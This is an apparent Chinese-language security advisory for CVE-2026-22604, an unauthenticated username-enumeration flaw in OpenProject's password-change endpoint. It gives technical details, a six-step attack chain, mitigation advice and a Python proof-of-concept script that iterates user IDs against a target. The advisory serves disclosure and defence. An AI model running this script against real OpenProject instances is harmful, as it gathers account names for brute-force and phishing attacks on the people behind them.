IPBUF安全漏洞报告
English
CVE-2026-22604 CVSS 5.3 中危

CVE-2026-22604 OpenProject用户枚举漏洞

披露日期: 2026-01-10

漏洞信息

漏洞编号
CVE-2026-22604
漏洞类型
用户枚举/信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenProject

相关标签

用户枚举信息泄露OpenProjectCVE-2026-22604无需认证Web应用安全项目管理软件

漏洞概述

CVE-2026-22604是OpenProject项目管理软件中的一个信息泄露漏洞。该漏洞影响从11.2.1到16.6.2之前的所有版本。OpenProject是一款开源的基于Web的项目管理软件,广泛应用于企业和团队的项目管理场景。漏洞源于/account/change_password端点在处理POST请求时存在缺陷,当攻击者使用任意User ID作为password_change_user_id参数发送请求时,系统会在错误页面中返回对应用户的用户名。由于该端点无需认证即可访问,攻击者可以枚举目标OpenProject实例中所有注册账户的用户名信息。CVSS评分5.3,属于中等严重程度,主要影响系统的机密性。虽然不直接导致数据篡改或系统完全沦陷,但用户名枚举是许多高级攻击的前置步骤,可为后续的暴力破解、社会工程攻击提供目标列表。此漏洞已于16.6.2版本中修复。

技术细节

漏洞存在于OpenProject的账户密码更改功能模块。当用户访问/account/change_password端点并尝试更改密码时,系统会处理password_change_user_id参数。在正常流程中,用户应只能更改自己的密码,但该端点未能正确验证用户身份,允许攻击者指定任意用户ID。攻击者发送精心构造的POST请求,将目标用户的ID作为password_change_user_id参数值。由于端点未进行权限校验,系统会尝试处理请求并生成错误响应。关键问题在于,错误页面中直接显示了所请求用户的用户名信息。攻击者可以通过遍历不同的用户ID来枚举系统中所有存在的用户名。这种用户枚举攻击无需任何认证凭证,仅需构造HTTP请求即可执行。攻击者可利用获取的用户名列表进行进一步的攻击,如针对高权限用户的社会工程攻击或定向暴力破解。修复方案在16.6.2版本中实现,增加了对用户身份的验证逻辑,确保错误页面不再泄露敏感的用户信息。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标OpenProject实例,确认版本在11.2.1到16.6.2之间
STEP 2
步骤2: 构造恶意请求
攻击者构造POST请求到/account/change_password端点,使用任意User ID作为password_change_user_id参数
STEP 3
步骤3: 发送未认证请求
由于端点无需认证,攻击者直接发送构造好的请求,无需任何登录凭证
STEP 4
步骤4: 解析响应内容
系统返回错误页面,攻击者从页面内容中提取泄露的用户名信息
STEP 5
步骤5: 用户名枚举
攻击者遍历不同的用户ID(1到N),收集所有有效用户的用户名列表
STEP 6
步骤6: 后续攻击准备
利用获取的用户名列表进行社会工程攻击、钓鱼攻击或针对高权限用户的定向攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-22604 PoC - OpenProject User Enumeration # Target: OpenProject instances < 16.6.2 # Endpoint: /account/change_password def enumerate_users(target_url, user_ids): """ Enumerate usernames from OpenProject via /account/change_password endpoint """ found_users = [] endpoint = f"{target_url.rstrip('/')}/account/change_password" for user_id in user_ids: # Send POST request with arbitrary user_id data = { 'password_change_user_id': str(user_id), 'form_submit': '1' } try: response = requests.post(endpoint, data=data, timeout=10, verify=False) # Check if username is leaked in response # The error page reveals the username for the requested user ID if response.status_code == 200: # Extract potential username from error message # Pattern varies, typically found in error messages or page content text = response.text # Look for common patterns indicating username exposure if 'user' in text.lower() or 'username' in text.lower(): print(f"[*] User ID {user_id}: Potential username found in response") found_users.append({'user_id': user_id, 'response_length': len(text)}) else: print(f"[-] User ID {user_id}: No username found") else: print(f"[-] User ID {user_id}: HTTP {response.status_code}") except requests.RequestException as e: print(f"[!] Error for User ID {user_id}: {e}") return found_users if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2026-22604-poc.py <target_url> [start_id] [end_id]") print("Example: python cve-2026-22604-poc.py https://openproject.example.com 1 1000") sys.exit(1) target = sys.argv[1] start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1 end_id = int(sys.argv[3]) if len(sys.argv) > 3 else 100 user_ids = range(start_id, end_id + 1) print(f"[*] Starting enumeration against {target}") print(f"[*] Enumerating user IDs {start_id} to {end_id}") results = enumerate_users(target, user_ids) print(f"\n[*] Found {len(results)} potential usernames")

影响范围

OpenProject 11.2.1 至 16.6.2之前的所有版本

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:在Web服务器层面限制对/account/change_password端点的访问速率;对该端点实施强制认证检查;部署WAF规则拦截包含password_change_user_id参数的异常POST请求;加强日志监控,对短时间内大量访问该端点的IP进行封禁。同时建议评估是否需要将OpenProject部署在DMZ区域,减少直接暴露面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表